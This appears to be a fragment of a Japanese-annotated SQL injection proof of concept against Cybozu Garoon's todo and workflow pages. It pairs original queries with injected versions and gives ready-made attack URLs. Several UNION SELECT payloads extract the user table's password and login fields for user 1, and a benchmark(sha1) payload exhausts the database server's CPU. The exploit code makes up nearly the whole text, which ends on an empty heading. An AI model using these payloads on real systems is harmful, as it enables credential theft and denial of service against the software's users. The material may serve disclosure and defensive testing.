SELECT
tab_grn_todo_entity._id,tab_grn_todo_entity.col_user,tab_grn_todo_entity.col_title,tab_grn_todo_entity.col_memo,
tab_grn_todo_entity.col_category,tab_grn_todo_entity.col_expiration,tab_grn_todo_entity.col_limited,
tab_grn_todo_entity.col_finish,tab_grn_todo_entity.col_priority,tab_grn_todo_entity.col_ctime,
tab_grn_todo_entity.col_mtime
FROM tab_grn_todo_entity WHERE (_id = 9999999 AND col_user = 2)
LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE
悪意の Query:
SELECT
tab_grn_todo_entity._id,tab_grn_todo_entity.col_user,tab_grn_todo_entity.col_title,tab_grn_todo_entity.col_memo,
tab_grn_todo_entity.col_category,tab_grn_todo_entity.col_expiration,tab_grn_todo_entity.col_limited,
tab_grn_todo_entity.col_finish,tab_grn_todo_entity.col_priority,tab_grn_todo_entity.col_ctime,
tab_grn_todo_entity.col_mtime FROM tab_grn_todo_entity WHERE (_id = 9999999)
union select
1,null,col_foreign_key,col_password,2,null,0,null,null,null,null from
tab_cb_user where _id=1/* AND col_user = 2) LIMIT 0,
18446744073709551615 LOCK IN SHARE MODE
http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/view?fid=9&pid=8888888+union+select+1,2,3,4,5,6,7,8,9,10,
11,12,col_foreign_key,14,col_password,16,17,18,19,20,21,22+from+tab_cb_user
where _id=1/*
オリジナルの Query:
SELECT
col_name,col_petition_number,col_user,col_user_name,col_user_foreign_key,col_status,col_form,
col_form_name,col_icon_type,col_icon_id,col_icon_url,col_transactor,col_transactor_name,col_transactor_foreign_key,
col_comment,col_ptime,col_reapply,col_creator,col_creator_name,col_creator_foreign_key,col_ctime,_id
FROM tab_grn_workflow_petition WHERE _id = 8888888 LIMIT 0, 1
LOCK IN SHARE MODE
悪意の Query:
SELECT
col_name,col_petition_number,col_user,col_user_name,col_user_foreign_key,col_status,col_form,
col_form_name,col_icon_type,col_icon_id,col_icon_url,col_transactor,col_transactor_name,col_transactor_foreign_key,
col_comment,col_ptime,col_reapply,col_creator,col_creator_name,col_creator_foreign_key,col_ctime,_id
FROM tab_grn_workflow_petition WHERE _id = 8888888 union select
1,2,3,4,5,6,7,8,9,10,11,12,col_foreign_key,
14,col_password,16,17,18,19,20,21,22 from tab_cb_user where _id=1/* LIMIT
0, 1 LOCK IN SHARE MODE
http://192.168.1.64/scripts/cbgrn/grn.exe/workflow/print?fid=9&pid=7777777+union+select+col_password,
2,3,4,col_foreign_key,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tab_cb_user
where _id=1/*
注意: 例2をテスト前に、fid=9 あることが必要です。
オリジナルの Query:
SELECT
col_name,col_petition_number,col_user,col_status,col_form_name,col_icon_type,col_icon_id,col_icon_url,
col_transactor,col_transactor_name,col_transactor_foreign_key,col_ptime,col_reapply,col_creator,
col_creator_name,col_creator_foreign_key,col_ctime,_id FROM
tab_grn_workflow_petition
WHERE _id = 7777777 LIMIT 0, 1 LOCK IN SHARE MODE
悪意の Query:
SELECT
col_name,col_petition_number,col_user,col_status,col_form_name,col_icon_type,col_icon_id,col_icon_url,
col_transactor,col_transactor_name,col_transactor_foreign_key,col_ptime,col_reapply,col_creator,
col_creator_name,col_creator_foreign_key,col_ctime,_id FROM
tab_grn_workflow_petition WHERE _id = 7777777
union select
col_password,2,3,4,col_foreign_key,6,7,8,9,10,11,12,13,14,15,16,17,18
from tab_cb_user where _id=1/* LIMIT 0, 1 LOCK IN SHARE MODE
SELECT
tab_grn_todo_categoryentity._id,tab_grn_todo_categoryentity.col_user,tab_grn_todo_categoryentity.col_title,
tab_grn_todo_categoryentity.col_list_index,tab_grn_todo_categoryentity.col_ctime,
tab_grn_todo_categoryentity.col_mtime FROM tab_grn_todo_categoryentity
WHERE (_id = 9999999 and AND
col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE
悪意の Query:
MySQLサーバーに、このqueryを実行するので、100% のCPU を使用になりました。
SELECT
tab_grn_todo_categoryentity._id,tab_grn_todo_categoryentity.col_user,tab_grn_todo_categoryentity.col_title,
tab_grn_todo_categoryentity.col_list_index,tab_grn_todo_categoryentity.col_ctime,
tab_grn_todo_categoryentity.col_mtime FROM tab_grn_todo_categoryentity
WHERE (_id = 9999999) ORDER BY
_id,rand(benchmark(1000000000000,sha1(123456781234567812345678)))/*
AND col_user = 2) LIMIT 0, 18446744073709551615 LOCK IN SHARE MODE
概要
